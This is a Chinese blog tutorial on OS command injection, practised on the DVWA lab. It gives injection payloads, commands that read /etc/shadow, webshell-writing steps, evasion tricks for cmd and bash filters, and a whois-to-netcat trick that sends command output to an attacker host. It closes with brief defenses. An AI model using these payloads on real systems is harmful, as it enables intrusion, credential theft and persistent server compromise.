• 渗透测试-命令执行注入


    命令执行注入

    前言

    前面介绍了SQL注入的几种常见注入方法,其余还有向命令执行注入,xml注入的几种常见形式,本次我们先介绍命令执行注入的注入方法,xml注入在下一篇文章在给大家介绍

    一、命令执行注入的方法以及防御方法

    1. 什么是命令执行漏洞

    程序员使用脚本语言开发应用程序的过程中,有时需要调用一些执行系统命令的函数,如PHP中的system、exec、shell_exec、passthru、popen、proc_popen等,当用户能控制这些函数中的参数时,就可以将恶意系统命令拼接到正常命令中,从而造成命令执行攻击,这就是命令执行漏洞。

    2. 命令执行漏洞的安全隐患

    ■ 继承Web服务程序的权限去执行系统命令或读写文件
    ■ 反弹shell
    ■ 控制整个网站甚至服务器
    ■ 进一步内网渗透

    像之前的Struts2命令执行漏洞利用为例,都可以用已有的Struts2漏洞利用工具进行远程命令执行
    ■ 使用工具验证——Struts2 s2-009命令执行漏洞已有成熟的验证工具
    在这里插入图片描述

    3. 命令执行注入的方法

    我们这里还是使用dvwa平台作为演示,由于window平台不识别&,&&,“;”,|,||,这些符号的调用,我们使用Linux系统作为演示在这里插入图片描述
    我们可以看到这些命令符在window上是无法执行的,我们在linux上试试,在这里我们使用kali来演示
    在这里插入图片描述
    我们可以看到,在kali上是ping的通的
    在这里插入图片描述
    ping -c 2 127.0.0.1;id
    ping -c 2 127.0.0.1&id
    ping -c 2 127.0.0.1&&id
    ping -c 2 127.0.0.1|id
    ping -c 2 127.0.0.1||id
    其实就是执行了这个命令


    而且这4个运算符都有不同的含义,同时也会输出不同的内容,下面我们来阶段介绍一下
    (1)127.0.0.1;id(顺序执行)
    在这里插入图片描述
    (1)127.0.0.1&id(都执行,但是不按顺序执行)
    在这里插入图片描述
    我们可以看到用户id都跑到中间去了,不按顺序执行
    (3)127.0.0.1&&id
    (前面执行,后面也执行,前面不执行,后面也不执行)
    在这里插入图片描述
    当我们改成a.a.a.a&&id,就都不执行了,不会有东西出来了
    (4)127.0.0.1|id
    (管道符运输,前面运输给后面的参数如果执行的话,就执行那个前面的,如果不执行的话,就只执行后面的)
    在这里插入图片描述
    (5)127.0.0.1||id
    (前面执行了,后面就不执行了,前面不执行了,才执行后面的)
    在这里插入图片描述
    我们发现只执行了前面的,后面不执行了
    当我们换成a.a.a.a||id的时候,就只显示后面的了
    在这里插入图片描述

    4. 命令执行注入一句话木马

    我们生成一个shell.php文件,向其中注入一句话
    127.0.0.1 && echo ^ >shell.php
    在这里插入图片描述
    注入成功,回显出结果了,我们查看当前目录是否有该文件
    127.0.0.1&&dir
    在这里插入图片描述
    发现存在一个shell.php文件,可知已经写入了,我们去访问这个路径,去蚁剑里连接
    http://192.168.171.128/dvwa/vulnerabilities/exec/#
    这里的路径要改成
    http://192.168.171.128/dvwa/vulnerabilities/exec/shell.php
    因为是当前目录下的文件
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    我们成功连接上了,我们打开终端查看一下ip地址
    在这里插入图片描述
    查看成功了,实验结束
    若是在linux下搭建环境 可执行一下命令

    114.114.114.114&&uname
    114.114.114.114&&pwd
    114.114.114.114&&ls -l
    114.114.114.114&&cat /etc/passwd   //查看用户
    114.114.114.114&&cat /etc/shadow  //查看密码

    5. 命令执行注入绕过方法

    这里提供几种常见的绕过方法

    一、windows系统下

    1.1 符号与命令的关系

    在看一个例子开始之前,首先了解一点,”和^这还有成对的圆括号()符号并不会影响命令的执行。
    在windows环境下,命令可以不区分大小写

    whoami //正常执行
    w"h"o"a"m"i //正常执行
    w"h"o"a"m"i" //正常执行
    wh"“oami //正常执行
    wh”“o^am"i //正常执行
    ((((Whoam”"i))))//正常执行

    在这里插入图片描述
    在这里插入图片描述
    当然你可以加无数个”但不能同时连续加2个符号,因为号是cmd中的转义符,跟在他后面的符号会被转义

    w"“”“”“”“”“”““hoami //正常执行
    w””“”“”“”“”“”“hoa^m”“i //正常执行
    w”“”“”“”“”“”"“hoa^^m”"i //执行错误

    在这里插入图片描述
    如果在命令执行的时候遇到了拦截命令的关键字,那么就可以使用这种方式绕过啦。

    1.2 了解set命令和windows变量

    我们再了解一下cmd中的set命令和%符号的含义
    首先set命令可以用来设置一个变量(环境变量也是变量哦~),那么%符号如下图

    set a=1//设置变量a,值为1
    echo a //此时输出结果为"a"
    echo %a%//此时输出结果为"1"

    在这里插入图片描述
    可以明显的看出,用两个%括起来的变量,会引用其变量内的值。

    那也就是说:

    set a=whoami //设置变量a的值为whoami
    %a%//引用变量a的值,直接执行了whoami命令

    在这里插入图片描述
    这样就可以执行命令了,又或者还可以

    set a=who
    set b=ami
    %a%%b%//正常执行whoami

    set a=w""ho
    set b=a^mi
    %a%%b%//根据前一知识点进行组合,正常执行whoami

    set a=ser&&set b=ne&&set c=t u && call %b%%c%%a%
    //在变量中设置空格,最后调用变量来执行命令
    //net user

    在这里插入图片描述
    在这里插入图片描述
    通常我们也可以自定义一个或者多个环境变量,利用环境变量值中的字符,提取并拼接出最终想要的cmd命令。
    如:
    Cmd /C “set envar=net user && call echo %envar%”
    可以拼接出cmd命令:net user
    在这里插入图片描述
    也可以定义多个环境变量进行拼接命令串,提高静态分析的复杂度:
    cmd /c “set envar1=ser&& set envar2=ne&& set envar3=t u&&call echo %envar2%%envar3%%envar1%”
    在这里插入图片描述
    cmd命令的“/C”参数,Cmd /C “string”表示:执行字符串string指定的命令,然后终止。
    虽然看的有点复杂,但是理解了原理,其实也没有那么难,也确实在真实场景中能绕过。

    1.4 逻辑运算符在绕过中的作用

    这里好像window也可以使用运算符进行注入绕过,只是上面的id在window中是没有的。
    继续往下,相信所有人都知道,|在cmd中,可以连接命令,且只会执行后面那条命令。

    whoami | ping www.baidu.com
    ping www.baidu.com | wh""oam^i
    //两条命令都只会执行后面的

    而||符号的情况下,只有前面的命令失败,才会执行后面的语句,方法跟linux中的类似

    ping 127.0.0.1|| whoami //不执行whoami
    ping xxx.|| whoami //执行whoami

    在这里插入图片描述
    而&符号,前面的命令可以成功也可以失败,都会执行后面的命令。
    其实也可以说是只要有一条命令能执行就可以了,但whoami放在前面基本都会被检测。

    ping 127.0.0.1& whoami //执行whoami
    ping xxx.& whoami //执行whoami

    在这里插入图片描述
    而&&符号就必须两条命令都为真才可以了

    ping www.baidu.com -n 1&& whoami //执行whoami
    ping www && whoami //不执行whoami

    在这里插入图片描述
    在这里插入图片描述

    二、在linux系统下

    2.1 linux下的符号和逻辑运算符

    这个时候有好奇的观众朋友就要问了,那对方服务器是linux的话怎么办呢?
    道理也是相同的

    a=who
    b=ami
    在这里插入图片描述
    在这里插入图片描述

    只不过windows的cmd下取变量值需要用两个%,linux下需要用$

    那么我们又可以怎么组合呢,接着来看

    Linux下用分号表示命令结束后执行后面的命令,无论前面的命令是否成功

    ping www.; whoami
    echo tj ; whoamiami

    在这里插入图片描述
    符号|在linux中,可以连接命令,和win一样,也只会执行后面那条命令

    其他符号如|| 、& 、&&和windows都是一样,不再过多赘述

    那么让我们根据以上两点进行一个结合

    t=l; j=s; i=" -al";

    在这里插入图片描述
    在这里插入图片描述

    2.2 利用未被过滤的命令,一个例子!

    看图好了

    自己服务器中:nc -lvvp 端口
    payload发送给对方:whois -h ip -p 端口命令//``为反引号
    //下图以自身服务器的1234端口作演示,实际情况根据个人更改

    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    使用whois来执行命令和传输文件

    在实际的攻击场景中,可以在自己的攻击服务器上用nc监听一个公网端口,然后在存在命令执行漏洞的网站中发送payload请求,

    对它使用whois命令使其命令执行结果返回给nc监听的端口,从而在自己服务器中查看

    这个经常用来反弹shell,类似于msf反弹shell的用法,也是通过监听端口来反弹shell,进而获得提权

    2.3 linux进阶,符号之间的组合

    继续说回来,刚才我说了,windows下双引号和幂运算符号都不会影响命令的执行,linux也同理,如下图

    wh\oami
    wh 1 o a m i w h o 1oami who 1oamiwho@ami
    whoa$*mi

    在这里插入图片描述
    在绕过时,不管是windows还是linux,都可以自写fuzz脚本来进行测试

    在linux中?扮演的角色是匹配任意一个字符,用?来绕过限制

    which whoami //找到whoami路径
    /u?r/?in/wh?am?
    which ifconfig //找到ifconfig
    /us?/sbin/if?onfig

    在这里插入图片描述
    同理可得,星号*在linux中用来代表一个或多个任何字符,包括空字符

    同理可得,星号*在linux中用来代表一个或多个任何字符,包括空字符

    在这里插入图片描述
    组合起来!

    /s?/?n/w?o*i

    在这里插入图片描述

    2.4 linux深入,命令中的命令

    Linux中,反引号的作用是把括起来的字符当做命令执行
    在这里插入图片描述
    至于第二条命令为什么加个\上面已经解释过了,加不加都没有影响,就是为了绕过而已
    我们再次组合起来

    w\saldkj2190ho\12wsa2am\foj11i

    在这里插入图片描述
    在这里插入图片描述

    2.5 了解重定向符号在绕过中的作用

    我们还可以使用<>来绕过空格。请仔细看执行后的效果。

    linux中,小于号<表示的是输入重定向,就是把<后面跟的文件取代键盘作为新的输入设备,而>大于号是输出重定向,比如一条命令,默认是将结果输出到屏幕。

    但可以用>来将输出重定向,用后面的文件来取代屏幕,将输出保存进文件里

    ls<>alt
    在这里插入图片描述

    2.6 linux中特殊的base64编码

    我们还可以在自己的linux系统中将命令进行base64编码

    然后再拿去目标请求中命令执行,使用base64的-d参数解码。

    echo whoami|base64 //先输出whoami的base64编码
    echo dwhvYW1pCg==|base64 -d//将其base64解码

    在这里插入图片描述
    再次强调用反引号括起来的值会被当做命令执行

    三、一个有趣的例子

    咱们再根据base64进行一次发散思维。

    如果某处存在命令执行但是限制了长度,我们可以利用这种方式来写一个密码为123的webshell一句话木马。

    echo “”| base64
    //输出一句话的base64编码

    echo -n PD>a;
    echo -n 9w>b;
    echo -n aH>c;
    echo -n Ag>d;
    echo -n QG>e;
    echo -n V2>f;
    echo -n YW>g;
    echo -n wo>h;
    echo -n JF>i;
    echo -n 9Q>j;
    echo -n T1>k;
    echo -n NU>l;
    echo -n Wz>m;
    echo -n Ey>n;
    echo -n M1>o;
    echo -n 0p>p;
    echo -n Oz>q;
    echo -n 8+>r;

    在这里插入图片描述
    在这里插入图片描述
    然后组合base64解码并生成php文件
    cat a b>s;
    cat s c>b;
    cat b d>s;
    cat s e>a;
    cat a f>s;
    cat s g>a;
    cat a h>s;
    cat s i>a;
    cat a j>s;
    cat s k>a;
    cat a l>s;
    cat s m>a;
    cat a n>s;
    cat s o>a;
    cat a p>s;
    cat s q>a;
    cat a r>s;

    在这里插入图片描述
    通过base64解码输入到z文件中,在拷贝到tj.php文件中

    base64 -d s>z;
    cp z tj.php;

    在这里插入图片描述
    在这里插入图片描述
    大体思路就是用echo不断写入或者也可以用>>来追加写入,拼接成一个文件,最后cp或者mv成一个文件
    echo -n是令其后面不会加入自动换行,方便拼接。

    逐步解释要写很多,建议有点懵的哥哥一句一句执行,然后依次查看结果

    那在写shell的时候命令被过滤了怎么办呢,那就回到刚才的办法中尝试绕过啦

    总结

    在实际绕过中,可以用多种方式来组合测试进行绕过,可以看出本篇多次使用各种组合来执行命令,主要是希望哥哥们多去尝试,发散思维

    二、命令执行注入的防御方法

    各种语言执行系统命令的函数
    (1)php
    像system(),exec(),passthru()要禁用掉
    (2)jsp
    Runtime.getRuntime().exec(<“执行的命令”>)
    防御方法:

    1. 尽量不要执行外部命令
    2. 尽量使用脚本解决工作,少用执行命令函数,php中禁止disable_funtions(ecex,passthru,popen,proc_open,shell_exec,system)
    3. 使用自定义函数或函数库来替代外部命令的功能
    4. 程序参数的情况,escapshellcmd过滤
    5. 程序参数值的情况,escapshellarg过滤
    6. 参数值尽量使用引用号包裹,并在拼接前调用addslashes进行转义(就是对||进行转义)
    7. 使用safe_mode_exec_dir指定课执行文件的路径

    总结

    这是最近几天总结的命令执行注入的几种方法,内容有点多,就先不讲xxe漏洞了,大家先把这些好好看看吧,后面在更新xxe的漏洞类型了。

  • 相关阅读:
    病毒消灭战-第13届蓝桥杯Scratch选拔赛真题精选
    沉痛悼念!网站快速变黑白灰色的4种方法
    LeetCode算法二叉树—116. 填充每个节点的下一个右侧节点指针
    类型体系与基本数据类型(第三节)
    提取字母后数字
    【Java基础】面向对象进阶(二)
    求组合数(不同类型的组合数C++)
    linux批量替换文件内容
    设计一个简单HTML爵士音乐网页(HTML+CSS)
    [Linux](14)信号
  • 原文地址:https://blog.csdn.net/lza20001103/article/details/125886023